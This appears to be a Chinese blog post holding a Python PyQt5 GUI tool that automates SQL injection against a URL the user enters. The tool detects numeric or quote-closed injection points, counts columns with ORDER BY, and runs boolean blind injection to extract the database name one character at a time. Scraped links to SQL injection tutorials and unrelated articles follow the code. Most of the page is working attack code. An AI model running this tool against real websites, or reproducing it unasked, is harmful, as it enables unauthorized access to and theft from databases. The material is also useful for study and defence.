import requests,sys,time
from PyQt5.QtWidgets import *
from PyQt5.QtGui import QIcon
from threading import Thread headers={
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0'
}
test_1=['\'','\"']
a=['\'','\"',')']
#图形化界面
class gui(QWidget):
def __init__(self):
super(gui, self).__init__()
self.setWindowTitle('王泽波波的sql注入')
self.resize(700,700)
self.setWindowIcon(QIcon("D:\\图片\\1.jpg"))
self.ui()
def ui(self):
self.label=QLabel('域名') #域名标签
self.label.setStyleSheet("QLabel{color:green;font-size:29px}") #域名字体颜色
self.line=QLineEdit() #域名输入框
self.line.setStyleSheet("QLineEdit{font-size:27px}")
self.startbt=QPushButton('开始') #开始按钮
self.startbt.setStyleSheet("QPushButton{background:white;color:red;font-size:25px}")
self.text=QTextEdit() #结果显示
self.text.setText('结果')
self.text.append('域名请输入完整如:https://www.xxx.com/1.php?id=1')
self.boolbt=QPushButton('布尔盲注') #布尔盲注按钮
self.boolbt.setStyleSheet("QPushButton{color:blue;font-size:26px}")
self.stopbt=QPushButton('停止') #停止按钮
self.stopbt.setStyleSheet("QPushButton{background:pink;color:black;font-size:26px}")
self.stopbt.setEnabled(False) #停止按钮一来先禁用 self.hbox=QHBoxLayout() #域名标签-框-开始按钮的水平布局
self.hbox.addWidget(self.label)
self.hbox.addWidget(self.line)
self.hbox.addWidget(self.startbt) self.vbox2=QVBoxLayout() #布尔盲注-停止按钮的垂直布局
self.vbox2.addWidget(self.boolbt)
self.vbox2.addWidget(self.stopbt) self.hbox2=QHBoxLayout() #结果-vbox2的水平布局
self.hbox2.addWidget(self.text)
self.hbox2.addLayout(self.vbox2) self.vbox=QVBoxLayout() #hbox-hbox2的垂直布局
self.vbox.addLayout(self.hbox)
self.vbox.addLayout(self.hbox2)
self.setLayout(self.vbox) #显示 self.startbt.clicked.connect(self.start_func)
self.stopbt.clicked.connect(self.stop)
self.boolbt.clicked.connect(self.bool_func)
self.bool=0
def bool_func(self):
self.bool=1
self.boolbt.setEnabled(False)
def start_func(self):
self.boolbt.setEnabled(False)
self.url=self.line.text() #获取输入的url
if len(self.url)==0:
QMessageBox.information(self,'温馨提示','请输入域名')
else:
self.startbt.setEnabled(False) #开始注入,开始按钮禁用
self.stopbt.setEnabled(True) #停止按钮可用
self.thread=Thread(target=self.statuscode) #开线程
self.thread.setDaemon(True)
self.thread.start() def statuscode(self): #先检查域名的正确性
try:
sql=requests.get(self.url,headers=headers)
if sql.status_code==200:
self.text.append('<font color=blue>开始注入中,主人请稍等.........')
html=sql.text
self.sql_injection(html) #得到html代码并传给sql_injection
elif sql.status_code==404:
QMessageBox.information(self,'温馨提示','网页不存在,请重新输入')
self.stop()
else:
QMessageBox.information(self,'温馨提示','响应超时或其他原因,请重新输入')
self.text.append(sql.status_code)
self.stop()
except Exception as e:
self.text.append('<font color=blue>响应超时或域名不规整:%s'%e)
self.stop() def sql_injection(self,html):
response=requests.get(self.url+'and 1=2',headers=headers)
if response.text==html: #无变化则不是数字型,可能是字符型或做了防护等
for i in test_1: #用test_1里面的字典进行字符型探测
resp_char=requests.get(self.url+'{0} and 1=2 --+'.format(i),headers=headers)
if '拦截' in resp_char.text: #有waf拦截
self.text.append('<font color=orange>似乎有waf拦截,已停止注入')
self.stop()
return 0
else: #没有拦截,进行闭合测试
if resp_char.text!=html: #and 1=2有变化,有区别
resp_char2=requests.get(self.url+'{0} and 1=1 --+'.format(i),headers=headers)
if resp_char2.text==html: #and 1=1验证是否闭合正确
char=i+' '
if self.bool==1: #布尔盲注
self.bool_injection(char,html)
else:
self.unoin_injection(char,html) #字符型验证正确联合查询
return 0
else: #闭合有变化,但是验证不正确,证明可能存在多个字符闭合
for j in a:
if i==j:
continue
else:
resp_char3=requests.get(self.url+'{0} and 1=1 --+'.format(i+j),headers=headers)
if resp_char3.text==html:
char=i+j+' '
if self.bool==1:
self.bool_injection(char,html)
else:
self.unoin_injection(char,html)
return 0
else:
if j==a[-1]:
self.text.append('<font color=blue>可能有多个字符闭合,但我没闭合成功,请校验字符集')
self.stop()
return 0
else:
continue
else: #无差别继续下个符号测试
if i==test_1[-1]:
self.text.append('<font color=blue>可能有单个字符闭合,但我没闭合成功,请校验字符集')
self.stop()
return 0
else:
continue
else: #有变化可能是数字型或出错或waf拦截
if '拦截' in response.text: #先判断是否waf拦截
self.text.append('<font color=orange>似乎有waf拦截,已停止注入')
self.stop()
else:
response=requests.get(self.url+' and 1=1',headers=headers) #进一步推测
if response.text==html: #1=1和1=2有区别可推测是数字型,可猜字段数
integer=' '
if self.bool==1: #布尔盲注
self.bool_injection(integer,html)
else:
self.unoin_injection(integer,html) #数字型验证正确联合查询
else:
self.text.append('<font color=orange>还不清楚的逻辑,请检查我sql_injection()')
self.stop() def unoin_injection(self,argument,html):
for i in range(1,50): #字段数从1开始探测,无变化继续加1探测
resp_union=requests.get(self.url+'{0}order by {1} --+'.format(argument,i),headers=headers)
if resp_union.text==html:
continue
else:
if argument==' ':
self.text.append('<font color=green>[*]存在数字型,字段数为{0}'.format(i-1))
else:
self.text.append('<font color=green>[*]存在字符型 {0} 闭合,字段数为{1}'.format(argument,i-1))
break
self.stop()
def bool_injection(self,argument,html): #布尔盲注
for i in range(1,50): #跑数据库长度
resp_bool=requests.get(self.url+'{0}and if(length(database())={1},1,0) --+'.format(argument,i),headers=headers)
if resp_bool.text==html:
self.length=i
self.text.append('<font color=green>[*]当前数据库长度{}'.format(self.length))
break
self.database=''
for x in range(1,self.length+1):
resp_64=requests.get(self.url+'{0}and if(ascii(substr(database(),{1},1))>64,1,0) --+'.format(argument,x),headers=headers)
if resp_64.text==html: #ascii码大于64的从64开始
for j in range(64,128): #跑数据库名的每个字母的ascii码
resp_bool2=requests.get(self.url+'{0}and if(ascii(substr(database(),{2},1))={1},1,0) --+'.format(argument,j,x),headers=headers)
if resp_bool2.text==html:
self.database=self.database+chr(j)
break
else:
for j in range(0,64):
resp_bool3=requests.get(self.url+'{0}and if(ascii(substr(database(),{2},1))={1},1,0) --+'.format(argument,j+i,x),headers=headers)
if resp_bool3.text==html:
self.database=self.database+chr(j)
break
self.text.append('<font color=green>[*]布尔盲注得到当前数据库名:{0} [*]'.format(self.database))
self.stop()
def stop(self): #停止注入
self.text.append('<font color=red>注入结束') #字体大小可用<font size>,但有问题
self.startbt.setEnabled(True)
self.boolbt.setEnabled(True)
self.bool=0
self.stopbt.setEnabled(False) if __name__=='__main__':
app=QApplication(sys.argv)
gui=gui()
gui.show()
sys.exit(app.exec())

  

sql注入简单初的更多相关文章

  1. 初学JDBC,防SQL注入简单示例

    在JDBC简单封装的基础上实现 public class UserDao{ public static void testGetUser(String userName) throws Excepti ...

  2. SQL注入简单介绍

    一.SQL注入概念   1.sql注入是一种将sql代码添加到输入参数中   2.传递到sql服务器解析并执行的一种攻击手法   举例:某个网站的用户名为name=‘admin’.执行时为select ...

  3. 手工sql注入简单入门

    1.判断是否可以注入: 数字型: 1.1在参数后面加一个引号',如果页面报数字number错误,则一定不是sql注入点:如果报数据库比如mysql.oracle之类的错误,则是一个sql注入点. 1. ...

  4. 网站如何防止sql注入攻击的解决办法

    首先我们来了解下什么是SQL注入,SQL注入简单来讲就是将一些非法参数插入到网站数据库中去,执行一些sql命令,比如查询数据库的账号密码,数据库的版本,数据库服务器的IP等等的一些操作,sql注入是目 ...

  5. 十二:SQL注入之简要注入

    SQL注入漏洞将是重点漏洞,分为数据库类型,提交方法,数据类型等方式.此类漏洞是WEB漏洞中的核心漏洞,学习如何的利用,挖掘,和修复是重要的. SQL注入的危害 SQL注入的原理 可控变量,带入数据库 ...

  6. 实验吧_简单的sql注入_1、2、3

    简单的sql注入1 看着这个简单的界面,一时间没有特别好的思路,先输入一个1',发生了报错 初步猜测这是一个字符型的注入,他将我们输入的语句直接当成sql语句执行了,按题目的意思后面肯定过滤了很多注入 ...

  7. 【实验吧】CTF_Web_简单的SQL注入之3

    实验吧第二题 who are you? 很有意思,过两天好好分析写一下.简单的SQL注入之3也很有意思,适合做手工练习,详细分析见下. http://ctf5.shiyanbar.com/web/in ...

  8. 【实验吧】CTF_Web_简单的SQL注入之1

    题目链接:http://ctf5.shiyanbar.com/423/web/ 简单的SQL注入之1,比2,3都简单一些.利用2 的查询语句也可以实现:1'/**/union/**/select/** ...

  9. DVWA中low级的sql注入漏洞的简单复现

    第一次成功复现一个简单漏洞,于是写下这篇随笔记录一下 首先我们来看dvwa中low级的sql注入的源码 源码文件路径如下图: 源码如下: <?php if(isset($_GET['Submit ...

  10. 【sql注入】简单实现二次注入

    [sql注入]简单实现二次注入 本文转自:i春秋社区 测试代码1:内容详情页面 [PHP] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 1 ...

随机推荐

  1. 龙芯中标麒麟 上面安装libgdiplus的方法

    其实方法与之前的blog 基本上完全一样 但是发现有一个问题  安装完libgdiplus之后必须重启一下才能有效果... CentOS 安装libgdi的方法 1. 安装必须的包 1 yum ins ...

  2. [转]流程自动化机器人(RPA)概念、原理与实践

    [转]流程自动化机器人(RPA)概念.原理与实践 http://blog.sina.com.cn/s/blog_be0833d00102yho9.html 大多数人每天都会使用到一些机器人流程自动化工 ...

  3. [官方]华为的部分设备的SPECint_rate_2006的测试数据

    Test Sponsor System Name BaseCopies Processor Results EnabledCores EnabledChips Cores/Chip Threads/C ...

  4. postman中monitor的使用

    monitor就是一个摸鱼的功能,我们把写好的接口部署到postman的web服务器中, 绑定自己的邮箱,运行结果会发送到自己的邮箱中,不用实时监控,是个非常方便 的功能(不安全) 1.crete a ...

  5. 手写模拟Spring底层原理-Bean的创建与获取

    作者:京东物流 张鼎元 1 引言 大家好,相信大家对Spring的底层原理都有一定的了解,这里我们会针对Spring底层原理,在海量的Spring源代码中进行抽丝剥茧手动实现一个Spring简易版本, ...

  6. 【K哥爬虫普法】字节前高管,离职后入侵今日头条数据库,是阴谋、还是利诱?

    案情介绍 2016年至2017年间,张洪禹.宋某.侯明强作为被告单位上海晟品网络科技有限公司主管人员,在上海市共谋采用技术手段抓取北京字节跳动网络技术有限公司(办公地点位于本市海淀区北三环西路43号中 ...

  7. [1] 以逆向的角度来看流程控制语句——if

    [1] 以逆向的角度来看流程控制语句--if 1. if语句(单分支) ​ if语句转换的条件跳转指令与if语句的判断结果是相反的, 因为C语言是根据代码行的位置决定编译后二进制代码地址高低的,即低行 ...

  8. C# Contains()、 == 和Equals() 比较

    目前在开发中前端页面有搜索条件 和后端的方法进行匹配 有一个Student表,其中有字段:name.age.address.tel CREATE TABLE Student ( Name varcha ...

  9. c++基础之表达式

    这次接着更新<c++ primer> 这本书的读书笔记,上一篇博文更新到了书中的第三章,本次将记录书中的第四章--表达式 左值与右值 在理解表达式之前需要先理解c++中左值和右值的概念. ...

  10. GDB调试程序 [补档-2023-07-19]

    gdb调试 ​ 它是gcc的调试工具,调试工具都能干什么就不多说了. 7-1生成调试信息 ​ 在使用gcc编译c/c++的程序时,需要在编译命令中加入 -g 这一参数,它可以为你显示函数名,变量名 等 ...